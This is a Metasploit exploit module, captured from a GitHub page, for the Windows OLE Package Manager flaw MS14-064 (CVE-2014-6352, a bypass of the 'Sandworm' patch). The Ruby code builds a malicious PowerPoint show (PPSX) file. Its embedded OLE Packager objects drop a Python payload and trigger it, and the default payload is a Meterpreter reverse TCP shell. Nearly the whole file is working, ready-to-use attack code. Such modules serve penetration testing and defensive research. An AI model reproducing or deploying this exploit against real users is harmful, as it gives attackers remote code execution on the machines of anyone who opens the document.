-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
ms14_064_packager_python.rb
150 lines (125 loc) · 4.86 KB
/
ms14_064_packager_python.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/ole'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python",
'Description' => %q{
This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE)
allowing arbitrary code execution, bypassing the patch MS14-060, for the vulnerability
publicly known as "Sandworm", on systems with Python for Windows installed. Windows Vista
SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be vulnerable.
However, based on our testing, the most reliable setup is on Windows platforms running
Office 2013 and Office 2010 SP2. Please keep in mind that some other setups such as
those using Office 2010 SP1 may be less stable, and may end up with a crash due to a
failure in the CPackage::CreateTempFileName function.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Haifei Li', # Vulnerability discovery and exploit technique
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2014-6352'],
['MSB', 'MS14-064'],
['BID', '70690'],
['URL', 'http://blogs.mcafee.com/mcafee-labs/bypassing-microsofts-patch-for-the-sandworm-zero-day-even-editing-can-cause-harm']
],
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Targets' =>
[
['Windows 7 SP1 with Python for Windows / Office 2010 SP2 / Office 2013', {}],
],
'Privileged' => false,
'DefaultOptions' =>
{
'Payload' => 'python/meterpreter/reverse_tcp'
},
'DisclosureDate' => '2014-11-12',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx'])
])
end
def exploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
payload_packager = create_packager('tabnanny.py', payload.encoded)
trigger_packager = create_packager("#{rand_text_alpha(4)}.py", rand_text_alpha(4 + rand(10)))
zip = zip_ppsx(payload_packager, trigger_packager)
file_create(zip)
end
def zip_ppsx(ole_payload, ole_trigger)
zip_data = {}
data_dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4114', 'template')
Dir["#{data_dir}/**/**"].each do |file|
unless File.directory?(file)
zip_data[file.sub(data_dir,'')] = File.read(file, mode: 'rb')
end
end
# add the otherwise skipped "hidden" file
file = "#{data_dir}/_rels/.rels"
zip_data[file.sub(data_dir,'')] = File.read(file, mode: 'rb')
# put our own OLE streams
zip_data['/ppt/embeddings/oleObject1.bin'] = ole_payload
zip_data['/ppt/embeddings/oleObject2.bin'] = ole_trigger
# create the ppsx
ppsx = Rex::Zip::Archive.new
zip_data.each_pair do |k,v|
ppsx.add_file(k,v)
end
ppsx.pack
end
def create_packager(file_name, contents)
file_info = [2].pack('v')
file_info << "#{file_name}\x00"
file_info << "#{file_name}\x00"
file_info << "\x00\x00"
extract_info = [3].pack('v')
extract_info << [file_name.length + 1].pack('V')
extract_info << "#{file_name}\x00"
file = [contents.length].pack('V')
file << contents
append_info = [file_name.length].pack('V')
append_info << Rex::Text.to_unicode(file_name)
append_info << [file_name.length].pack('V')
append_info << Rex::Text.to_unicode(file_name)
append_info << [file_name.length].pack('V')
append_info << Rex::Text.to_unicode(file_name)
ole_data = file_info + extract_info + file + append_info
ole_contents = [ole_data.length].pack('V') + ole_data
ole = create_ole("\x01OLE10Native", ole_contents)
ole
end
def create_ole(stream_name, data)
ole_tmp = Rex::Quickfile.new('ole')
stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE)
stm = stg.create_stream(stream_name)
stm << data
stm.close
directory = stg.instance_variable_get(:@directory)
directory.each_entry do |entry|
if entry.instance_variable_get(:@_ab) == 'Root Entry'
# 0003000C-0000-0000-c000-000000000046 # Packager
clsid = Rex::OLE::CLSID.new("\x0c\x00\x03\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46")
entry.instance_variable_set(:@_clsId, clsid)
end
end
# write to disk
stg.close
ole_contents = File.read(ole_tmp.path, mode: 'rb')
ole_tmp.close
ole_tmp.unlink
ole_contents
end
end